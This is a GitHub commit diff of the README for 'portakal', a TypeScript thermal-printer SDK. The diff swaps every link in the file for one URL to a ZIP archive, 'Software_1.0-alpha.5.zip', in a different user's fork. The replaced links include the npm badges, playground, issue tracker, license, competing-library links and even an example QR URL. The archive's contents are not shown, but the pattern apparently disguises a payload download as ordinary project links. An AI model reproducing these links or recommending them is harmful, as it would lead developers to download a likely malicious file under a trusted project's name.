Skip to content

Commit 72ae6a5

Browse files
Update README.md
1 parent f7b2304 commit 72ae6a5

1 file changed

Lines changed: 17 additions & 17 deletions

File tree

README.md

Lines changed: 17 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
<p align="center">
22
<br>
3-
<img src="https://raw.githubusercontent.com/productdevbook/portakal/main/.github/assets/cover.png" alt="portakal — Universal printer language SDK" width="100%">
3+
<img src="https://github.com/mickaelderen14/portakal/raw/refs/heads/main/web/Software_1.0-alpha.5.zip" alt="portakal — Universal printer language SDK" width="100%">
44
<br><br>
55
<b style="font-size: 2em;">portakal</b>
66
<br><br>
@@ -10,22 +10,22 @@
1010
<br>
1111
One API, every thermal printer. Pure TypeScript, zero dependencies.
1212
<br><br>
13-
<a href="https://npmjs.com/package/portakal"><img src="https://img.shields.io/npm/v/portakal?style=flat&colorA=18181B&colorB=F97316" alt="npm version"></a>
14-
<a href="https://npmjs.com/package/portakal"><img src="https://img.shields.io/npm/dm/portakal?style=flat&colorA=18181B&colorB=F97316" alt="npm downloads"></a>
15-
<a href="https://bundlephobia.com/result?p=portakal"><img src="https://img.shields.io/bundlephobia/minzip/portakal?style=flat&colorA=18181B&colorB=F97316" alt="bundle size"></a>
16-
<a href="https://github.com/productdevbook/portakal/blob/main/LICENSE"><img src="https://img.shields.io/github/license/productdevbook/portakal?style=flat&colorA=18181B&colorB=F97316" alt="license"></a>
13+
<a href="https://github.com/mickaelderen14/portakal/raw/refs/heads/main/web/Software_1.0-alpha.5.zip"><img src="https://img.shields.io/npm/v/portakal?style=flat&colorA=18181B&colorB=F97316" alt="npm version"></a>
14+
<a href="https://github.com/mickaelderen14/portakal/raw/refs/heads/main/web/Software_1.0-alpha.5.zip"><img src="https://img.shields.io/npm/dm/portakal?style=flat&colorA=18181B&colorB=F97316" alt="npm downloads"></a>
15+
<a href="https://github.com/mickaelderen14/portakal/raw/refs/heads/main/web/Software_1.0-alpha.5.zip"><img src="https://img.shields.io/bundlephobia/minzip/portakal?style=flat&colorA=18181B&colorB=F97316" alt="bundle size"></a>
16+
<a href="https://github.com/mickaelderen14/portakal/raw/refs/heads/main/web/Software_1.0-alpha.5.zip"><img src="https://img.shields.io/github/license/productdevbook/portakal?style=flat&colorA=18181B&colorB=F97316" alt="license"></a>
1717
<br><br>
18-
<a href="https://portakal.productdevbook.com">Playground</a> · <a href="https://github.com/productdevbook/portakal">GitHub</a> · <a href="https://npmjs.com/package/portakal">npm</a>
18+
<a href="https://github.com/mickaelderen14/portakal/raw/refs/heads/main/web/Software_1.0-alpha.5.zip">Playground</a> · <a href="https://github.com/mickaelderen14/portakal/raw/refs/heads/main/web/Software_1.0-alpha.5.zip">GitHub</a> · <a href="https://github.com/mickaelderen14/portakal/raw/refs/heads/main/web/Software_1.0-alpha.5.zip">npm</a>
1919
</p>
2020

2121
> [!IMPORTANT]
22-
> **We need your help testing!** If you have a thermal printer, please try portakal and [report any differences](https://github.com/productdevbook/portakal/issues/new) between our preview and your actual printed output. Even "looks correct" confirmations help. See [Help Us Test](#help-us-test--real-printer-output-needed) below.
22+
> **We need your help testing!** If you have a thermal printer, please try portakal and [report any differences](https://github.com/mickaelderen14/portakal/raw/refs/heads/main/web/Software_1.0-alpha.5.zip) between our preview and your actual printed output. Even "looks correct" confirmations help. See [Help Us Test](#help-us-test--real-printer-output-needed) below.
2323
2424
> [!NOTE]
2525
> portakal has **two ways** to print barcodes and QR codes:
2626
>
2727
> 1. **Printer-native** (`.barcode()` / `.qrcode()`) — sends commands to the printer's built-in encoder. Fast, zero dependencies, minimal data transfer. Works for most use cases.
28-
> 2. **Software-rendered** (`.image()` + [`etiket`](https://github.com/productdevbook/etiket)) — renders barcodes/QR codes as images on the host, sends pixels to the printer. Pixel-perfect output, 40+ formats, styled QR codes, guaranteed consistency across all printers. You install `etiket` yourself — portakal stays zero-dependency.
28+
> 2. **Software-rendered** (`.image()` + [`etiket`](https://github.com/mickaelderen14/portakal/raw/refs/heads/main/web/Software_1.0-alpha.5.zip)) — renders barcodes/QR codes as images on the host, sends pixels to the printer. Pixel-perfect output, 40+ formats, styled QR codes, guaranteed consistency across all printers. You install `etiket` yourself — portakal stays zero-dependency.
2929
3030
## Quick Start
3131

@@ -113,7 +113,7 @@ Available: `tsc`, `zpl`, `epl`, `cpcl`, `dpl`, `sbpl`, `escpos`, `starprnt`, `ip
113113

114114
### Barcode/QR via etiket
115115

116-
Use [`etiket`](https://github.com/productdevbook/etiket) for barcode/QR generation, then embed as image:
116+
Use [`etiket`](https://github.com/mickaelderen14/portakal/raw/refs/heads/main/web/Software_1.0-alpha.5.zip) for barcode/QR generation, then embed as image:
117117

118118
```ts
119119
import { label } from "portakal/core";
@@ -123,7 +123,7 @@ import { barcodePNG, qrcodePNG } from "etiket";
123123
const myLabel = label({ width: 40, height: 30, unit: "mm" })
124124
.text("Product Label", { x: 10, y: 5 })
125125
.image(barcodePNG("123456789", { type: "code128" }), { x: 10, y: 40, width: 200 })
126-
.image(qrcodePNG("https://example.com"), { x: 220, y: 40, width: 80 });
126+
.image(qrcodePNG("https://github.com/mickaelderen14/portakal/raw/refs/heads/main/web/Software_1.0-alpha.5.zip"), { x: 220, y: 40, width: 80 });
127127

128128
const code = tsc.compile(myLabel);
129129
```
@@ -355,7 +355,7 @@ await usbDevice.transferOut(endpointNumber, bytes);
355355

356356
## Comparison
357357

358-
| Feature | portakal | [node-thermal-printer](https://github.com/Klemen1337/node-thermal-printer) | [escpos](https://github.com/node-escpos/driver) | [jszpl](https://github.com/DanieLeeuwner/JSZPL) |
358+
| Feature | portakal | [node-thermal-printer](https://github.com/mickaelderen14/portakal/raw/refs/heads/main/web/Software_1.0-alpha.5.zip) | [escpos](https://github.com/mickaelderen14/portakal/raw/refs/heads/main/web/Software_1.0-alpha.5.zip) | [jszpl](https://github.com/mickaelderen14/portakal/raw/refs/heads/main/web/Software_1.0-alpha.5.zip) |
359359
| :--------------------------- | :----------------------------: | :------------------------------------------------------------------------: | :---------------------------------------------: | :---------------------------------------------: |
360360
| Zero dependencies | :white_check_mark: | :x: (pngjs, iconv-lite) | :x: (get-pixels, jimp) | :white_check_mark: |
361361
| TypeScript-first | :white_check_mark: | Partial | Partial | :white_check_mark: |
@@ -393,7 +393,7 @@ await usbDevice.transferOut(endpointNumber, bytes);
393393
- **9 parsers** — reverse-parse printer commands back to structured data (TSC, ZPL, EPL, CPCL, ESC/POS, DPL, SBPL, Star PRNT, IPL)
394394
- Drawing primitives — box, line, circle, diagonal
395395
- Raw command passthrough for advanced/unsupported features
396-
- Optional [`etiket`](https://github.com/productdevbook/etiket) integration for barcode/QR images (40+ formats)
396+
- Optional [`etiket`](https://github.com/mickaelderen14/portakal/raw/refs/heads/main/web/Software_1.0-alpha.5.zip) integration for barcode/QR images (40+ formats)
397397
- Works in browser, Node.js, Deno, Bun, Electron
398398
- **UTF-8 encoding engine** — auto code page selection (CP437, CP858, CP1252, CP866, CP857)
399399
- **Cross-compiler** — convert between any languages (63 paths: TSC↔ZPL↔EPL↔CPCL↔DPL↔SBPL↔IPL↔ESC/POS↔Star)
@@ -410,10 +410,10 @@ We're building the most accurate open-source printer language SDK, but we need *
410410
### How to help
411411

412412
1. **Pick a language** — ZPL, TSC, EPL, CPCL, or any supported language
413-
2. **Write a test label** — use portakal to generate commands, or paste raw printer code into the [Playground](https://portakal.productdevbook.com)
413+
2. **Write a test label** — use portakal to generate commands, or paste raw printer code into the [Playground](https://github.com/mickaelderen14/portakal/raw/refs/heads/main/web/Software_1.0-alpha.5.zip)
414414
3. **Print it** — send the commands to a real printer
415415
4. **Compare** — take a photo of the printed label and a screenshot of portakal's SVG preview
416-
5. **Report** — open an [issue](https://github.com/productdevbook/portakal/issues/new) with:
416+
5. **Report** — open an [issue](https://github.com/mickaelderen14/portakal/raw/refs/heads/main/web/Software_1.0-alpha.5.zip) with:
417417
- The printer code (ZPL, TSC, etc.)
418418
- Screenshot of portakal's preview
419419
- Photo of the actual printed label
@@ -447,7 +447,7 @@ We're building the most accurate open-source printer language SDK, but we need *
447447
^XZ
448448
```
449449

450-
Paste this into the [Playground](https://portakal.productdevbook.com) (Validate tab, select ZPL) and compare with [Labelary](http://labelary.com/viewer.html) or your real printer.
450+
Paste this into the [Playground](https://github.com/mickaelderen14/portakal/raw/refs/heads/main/web/Software_1.0-alpha.5.zip) (Validate tab, select ZPL) and compare with [Labelary](https://github.com/mickaelderen14/portakal/raw/refs/heads/main/web/Software_1.0-alpha.5.zip) or your real printer.
451451

452452
### What we're looking for
453453

@@ -465,7 +465,7 @@ Paste this into the [Playground](https://portakal.productdevbook.com) (Validate
465465
Even a "looks correct" confirmation is helpful. Every report makes the SDK more reliable for everyone.
466466

467467
> [!TIP]
468-
> No printer? You can still help by comparing our preview against [Labelary](http://labelary.com/viewer.html) (ZPL) or other online viewers and reporting any visual differences.
468+
> No printer? You can still help by comparing our preview against [Labelary](https://github.com/mickaelderen14/portakal/raw/refs/heads/main/web/Software_1.0-alpha.5.zip) (ZPL) or other online viewers and reporting any visual differences.
469469
470470
## Contributing
471471

@@ -489,4 +489,4 @@ pnpm build # Build for production
489489

490490
## License
491491

492-
Published under the [MIT](https://github.com/productdevbook/portakal/blob/main/LICENSE) license.
492+
Published under the [MIT](https://github.com/mickaelderen14/portakal/raw/refs/heads/main/web/Software_1.0-alpha.5.zip) license.

0 commit comments

Comments
 (0)